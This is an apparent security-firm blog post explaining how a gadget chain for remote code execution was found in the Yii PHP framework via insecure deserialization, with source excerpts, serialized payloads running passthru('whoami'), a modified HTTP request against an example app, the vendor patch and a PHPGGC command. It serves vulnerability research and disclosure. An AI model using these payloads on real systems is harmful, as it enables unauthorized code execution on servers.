4 January 2021
Insecure Deserialization - How to Trace Down a Gadget Chain
Insecure deserialization vulnerabilities potentially result in the ability to remotely execute code on the affected system. Once such a vulnerability is identified it is still necessary to compose a gadget chain that provides this ability. This post deals with the complex but also fascinating process of finding a gadget chain in the Yii PHP framework. Finally, the discovered gadget chain is demonstrated by means of an example application.
Since 2017 insecure deserialization is included in the OWASP Top 10 list that covers the most essential vulnerability classes for web applications.
Some time ago during an engagement we encountered an application that uses the Yii framework. After we had identified an existing insecure deserialization vulnerability, we were looking for a publicly known gadget chain in the Yii framework. As nothing could be found for the specific version, we started to analyse the open-source Yii framework to find a gadget chain.
Since the test, a third party released this security advisory (CVE-2020-15148). It describes the possibility to achieve remote code execution in PHP software which uses the Yii framework given an existing insecure deserialization vulnerability. Note that the actual deserialization vulnerability does not reside in the Yii framework, but in the application itself, and that the security advisory only hints to the existence of a gadget chain. Nevertheless, using the described object as payload was mitigated in version 2.0.38 of the Yii framework.
The security advisory mentions the PHP class yii\db\BatchQueryResult
as serialization
payload which is the same we found during our analysis. Furthermore, recently a gadget
chain built with an object of BatchQueryResult
was submitted to the
PHPGGC
project. However, in the following we will describe the process of finding another
variation of this gadget chain:
Identifying the Gadget Chain
As already stated before, an object of the PHP class yii\db\BatchQueryResult
can be used
as payload to trigger the remote code execution. However, to run through the whole process
of finding a gadget chain, we will start the search for a gadget chain by pretending not
to know about that.
PHP classes may define so-called magic
methods. They function as hooks:
If a class defines one (or more) of these, they are automatically executed on certain
occasions. For example the method
__wakeup()
is
called when an PHP object is deserialized using the
unserialize()
function.
Another magic method is
__destruct()
which is called when an object is about to be garbage-collected. As these two methods will
always be called some time during deserialization, they play an important role in gadget
chains.
Therefore, we searched the source code of the Yii framework version 2.0.37 for magic
methods. A search for __destruct
yields only one result, the aforementioned class
BatchQueryResult
:
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
Next, we have a look at the reset()
function that is called here:
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
In the second line, the method close()
of the _dataReader
instance is
called. Thus, as a next step, the source code was searched for a class that
implements a close()
method and which would likely be used as the
_dataReader
. A definition can be found in the class yii\web\DbSession
:
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
The method getIsActive()
is defined in one of the parent classes, yii\web\Session
.
It uses session_status()
to find out whether the method is called in the context of an existing session:
public function getIsActive()
{
return session_status() === PHP_SESSION_ACTIVE;
}
Now let’s go back to the close()
function where the getIsActive()
function is
called. If its return value is truthy, i.e. iff close()
is called with a PHP session,
the following line will be executed:
$this->fields = $this->composeFields();
The implementation of the method composeFields()
can be found in the class
yii\web\MultiFieldSession
:
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
Let’s look at the first line of composeFields()
: If the property writeCallback
is
set, it is passed to PHP function
call_user_func()
, using
$this
as the second parameter.
The PHP function call_user_func()
can be used to dynamically invoke PHP functions, for
example by their function names. There is little documentation on what happens if an
array is passed as the first argument. The following example call, taken from the
examples of the PHP
manual
illustrates that case. Here, an object’s method is called by using an array as argument
that contains the object as first and the method name as second element:
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod')); // same as: $obj.myCallbackMethod()
The example demonstrates how we can call a defined method of an arbitrary object in the scope.
At this point, let’s sum up what we got so far: We figured out that the class
BatchQueryResult
has a private property called $_dataReader
. This is set to the type
DbSession
. A DbSession
in turn has a property called $writeCallback
.
Upon destruction of an object of BatchQueryResult
, call_user_func()
is called with
$_dataReader->$writeCallback
as the first argument.
The following listing shows a minimal snippet building the aforementioned structure:
namespace yii\db
{
class BatchQueryResult
{
private $_dataReader;
function __construct()
{
$this->_dataReader = new \yii\web\DbSession();
}
}
}
namespace yii\web
{
class DbSession
{
public $writeCallback;
}
}
namespace main
{
$obj = new \yii\db\BatchQueryResult();
}
We decided to build upon this minimal implementation in order to be able to set the
$_dataReader
property, which is private
in the original implementation. As
additional benefit the minimal implementation is much easier to comprehend because it
allows us to focus on the functionality really needed for the exploit. Remember also
that we saw that the gadget only works with PHP sessions. However, we expect that this
requirement will be fulfilled for most web applications.
So far, the gadget chain would allow us to call instance methods from the scope.
However, our goal as attackers is not only to call some internal methods, but to execute
arbitrary PHP code. For this reason, we search for class methods that, when invoked via
call_user_func()
allow us to execute arbitrary PHP code. Decent candidates for these
kind of attacks are methods that invoke the PHP function eval()
. A search for eval
in the Yii source code reveals the following method provided by the class
yii\caching\ExpressionDependency
:
protected function generateDependencyData($cache)
{
return eval("return {$this->expression};");
}
That seems to be exactly what we are looking for: An invocation of eval()
, which
evaluates PHP code given as an argument. In this case the PHP code to be evaluated is
stored in the property $expression
.
So again, let’s build a minimal test case around the internal class structure of
ExpressionDependency
:
|
|
Note that our test case invokes call_user_func()
with null
as a second argument (see
line 18). This is because the method generateDependencyData()
actually expects a
second parameter, $cache
, even though the value of the parameter is actually not used.
Unfortunately, the execution of the test script results in an error:
$ php test-payload.php
PHP Warning: call_user_func() expects parameter 1 to be a valid callback,
cannot access protected method
yii\caching\ExpressionDependency::generateDependencyData() [...]
As mentioned in the error message it is not possible to call methods having the
protected
visibility this way. However, further analysis reveals that the associated
base class yii\caching\Dependency
provides the following function which in turn calls the
function generateDependencyData()
in its definition:
public function evaluateDependency($cache)
{
if ($this->reusable) {
$hash = $this->generateReusableHash();
if (!array_key_exists($hash, self::$_reusableData)) {
self::$_reusableData[$hash] = $this->generateDependencyData($cache);
}
$this->data = self::$_reusableData[$hash];
} else {
$this->data = $this->generateDependencyData($cache);
}
}
The function evaluateDependency()
contains two calls to the function
generateDependencyData()
. The simplest way of making sure that
generateDependencyData()
is executed is to set $reusable
to false
. Fortunately,
this is the default initialization value. So let’s try again by calling
evaluateDependency()
instead of generateDependencyData()
:
|
|
This indeed works:
$ php test-payload.php
vagrant
The output shows the username vagrant
confirming that the expression (see line 5 in
the listing above) was evaluated and the system command whoami
was executed using the
PHP function passthru()
.
Now we can combine:
- A class that upon object destruction invokes an arbitrary class’ member method via
call_user_func()
- Another class’ member method that executes arbitrary PHP code (and operating system commands) upon invocation
Building the Exploit Payload
As the PHP serialization only depends on namespace, class and property names, we can serialize our minimal implementation and use it as the exploit payload. The following PHP script assembles all required classes (as introduced before) and sets their properties to the desired values.
|
|
The classes and methods used should look familiar by now. We defined a custom
constructor for BatchQueryResult
that allows us to provide the desired PHP code as the
$code
parameter (line 24). $code
is assigned with the first command-line argument
passed to the script ($argv[1]
, line 42). The constructor instantiates the
aforementioned classes with the desired properties (lines 26 to 30). Finally, the
constructed instance of BatchQueryResult
is serialized (line 42).
The PHP script can be run as follows:
$ php yii2-gadget.php 'passthru("whoami");'
O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReade
r";O:17:"yii\web\DbSession":1:{s:13:"writeCallback";a:2:{i:0;O:32:"yii\cach
ing\ExpressionDependency":1:{s:10:"expression";s:19:"passthru("whoami");";}
i:1;s:18:"evaluateDependency";}}}
===================================================
url-encoded:
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb
%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cweb%5CDbSession%22
%3A1%3A%7Bs%3A13%3A%22writeCallback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A32%3A%22yii
%5Ccaching%5CExpressionDependency%22%3A1%3A%7Bs%3A10%3A%22expression%22%3Bs
%3A19%3A%22passthru%28%22whoami%22%29%3B%22%3B%7Di%3A1%3Bs%3A18%3A%22evalua
teDependency%22%3B%7D%7D%7D
It creates the payload with the given code line and prints the serialized object in raw
format as well as URL-encoded. This blog post will not address the PHP serialization
format in detail, if you’re interested in the details have a look at the PHP manual page
of the serialize()
function.
Exploiting a Vulnerable Example Application
Now, we finally want to demonstrate that the payload works by means of an example application based on the Yii framework in version 2.0.37.
Imagine you are engaged to test the website depicted in the following. It can be easily identified that the Yii framework is applied here.
After submitting the poll, next, the user is requested to fill in name and email address to participate in the corresponding raffle.
Usually, during the analysis of a web application we use an HTTP attack proxy enabling us to analyze the HTTP traffic. While intercepting the HTTP requests one which is sent after submission of the entered name and email address appears to be interesting:
POST / HTTP/1.1
Host: app.example.com:8443
Cookie: PHPSESSID=4alrpsnbr3go1f06e1f87hgnvo;
_csrf=042c0a2c4e23c4845f8f58044c96d83dc9421f6440a5d8aab5537d46f6a603e5a%3A2%3A[...]
[...]
_csrf=EiPg3-BWdBGZbV-DKIMYuPpQkyixCMFfhvQz7SfZwCNES6Hn1CVHes9UOvZL-VbBpTn3Upxch[...]&
UserForm[name]=Name&
UserForm[email]=name@example.com&
UserForm[selected]=O:24:"app\models\PollSelection":1:{s:8:"selected";s:1:"0";}&
submit-button=
The highlighted line shows an HTTP POST parameter UserForm[selected]
which apparently
contains a serialized PHP object. Furthermore, it is noted that apparently a PHP session
was created as the HTTP cookie PHPSESSID
was set for this application. This is
important for our gadget chain to work.
Next, we use the previously described PHP script to create a malicious serialized
object. The object embeds the PHP code exit(passthru("whoami"));
which will hopefully
lead to the execution of the system command whoami
. Here, the
exit()
function is additionally
used to directly stop the execution of the vulnerable script after the system command
was executed. This allows us to get the command’s output regardless of the application’s
behaviour. The script is run as follows:
$ php yii2-gadget.php 'exit(passthru("whoami"));'
O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReade
r";O:17:"yii\web\DbSession":1:{s:13:"writeCallback";a:2:{i:0;O:32:"yii\cach
ing\ExpressionDependency":1:{s:10:"expression";s:25:"exit(passthru("whoami"));
";}i:1;s:18:"evaluateDependency";}}}
===================================================
url-encoded:
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb
%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cweb%5CDbSession%22
%3A1%3A%7Bs%3A13%3A%22writeCallback%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A32%3A%22yii
%5Ccaching%5CExpressionDependency%22%3A1%3A%7Bs%3A10%3A%22expression%22%3Bs
%3A25%3A%22exit%28passthru%28%22whoami%22%29%29%3B%22%3B%7Di%3A1%3Bs%3A18%3
A%22evaluateDependency%22%3B%7D%7D%7D
The affected parameter of the intercepted HTTP POST request is replaced with the malicious payload before the request is sent to the server:
POST / HTTP/1.1
Host: app.example.com:8443
Cookie: PHPSESSID=4alrpsnbr3go1f06e1f87hgnvo;
_csrf=042c0a2c4e23c4845f8f58044c96d83dc9421f6440a5d8aab5537d46f6a603e5a%3A2%3A[...]
[...]
_csrf=EiPg3-BWdBGZbV-DKIMYuPpQkyixCMFfhvQz7SfZwCNES6Hn1CVHes9UOvZL-VbBpTn3Upxch[...]&
UserForm[name]=Name&
UserForm[email]=name@example.com&
UserForm[selected]=O:23:"yii\db\BatchQueryResult":1:{s:36:[...]}&
submit-button=
The listing shows the serialized object in raw format for readability reasons, but actually the URL-encoded value is sent here instead because of null bytes in the serialization payload.
As shown in the following, the payload works! The application displays the command’s
output with the user www-data
which is used to run the application.
Thus, we verified that, firstly, the identified gadget chain works and, secondly, the example application is vulnerable to insecure deserialization.
The Patch
The usage of the described gadget chain was mitigated by Yii developers by adding the
following function to the class BatchQueryResult
:
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
As explained before the __wakeup()
method will be executed at the time an object is
deserialized. Here, __wakeup()
throws an exception. This prevents objects of the type
BatchQueryResult
from being deserialized, effectively stopping the gadget chain.
If you use the Yii framework for developing web applications, please remember that this only mitigates this particular gadget chain. As it is difficult to rule out the existence of further different gadget chains, it is still critical to avoid the deserialization of untrusted data. Therefore, an update of the framework can only mitigate this particular exploit but not all the risks resulting from untrusted object deserialization.
Conclusion
We managed to find a previously unknown gadget chain by inspecting the code of the open-source Yii framework.
Furthermore, we recently submitted the
gadget chain to the well-known open-source project
PHPGGC which holds payloads for many PHP
frameworks or libraries. To build the payload, PHPGGC
can be run as follows:
$ ./phpggc -u Yii2/RCE2 "exit(passthru('whoami'));"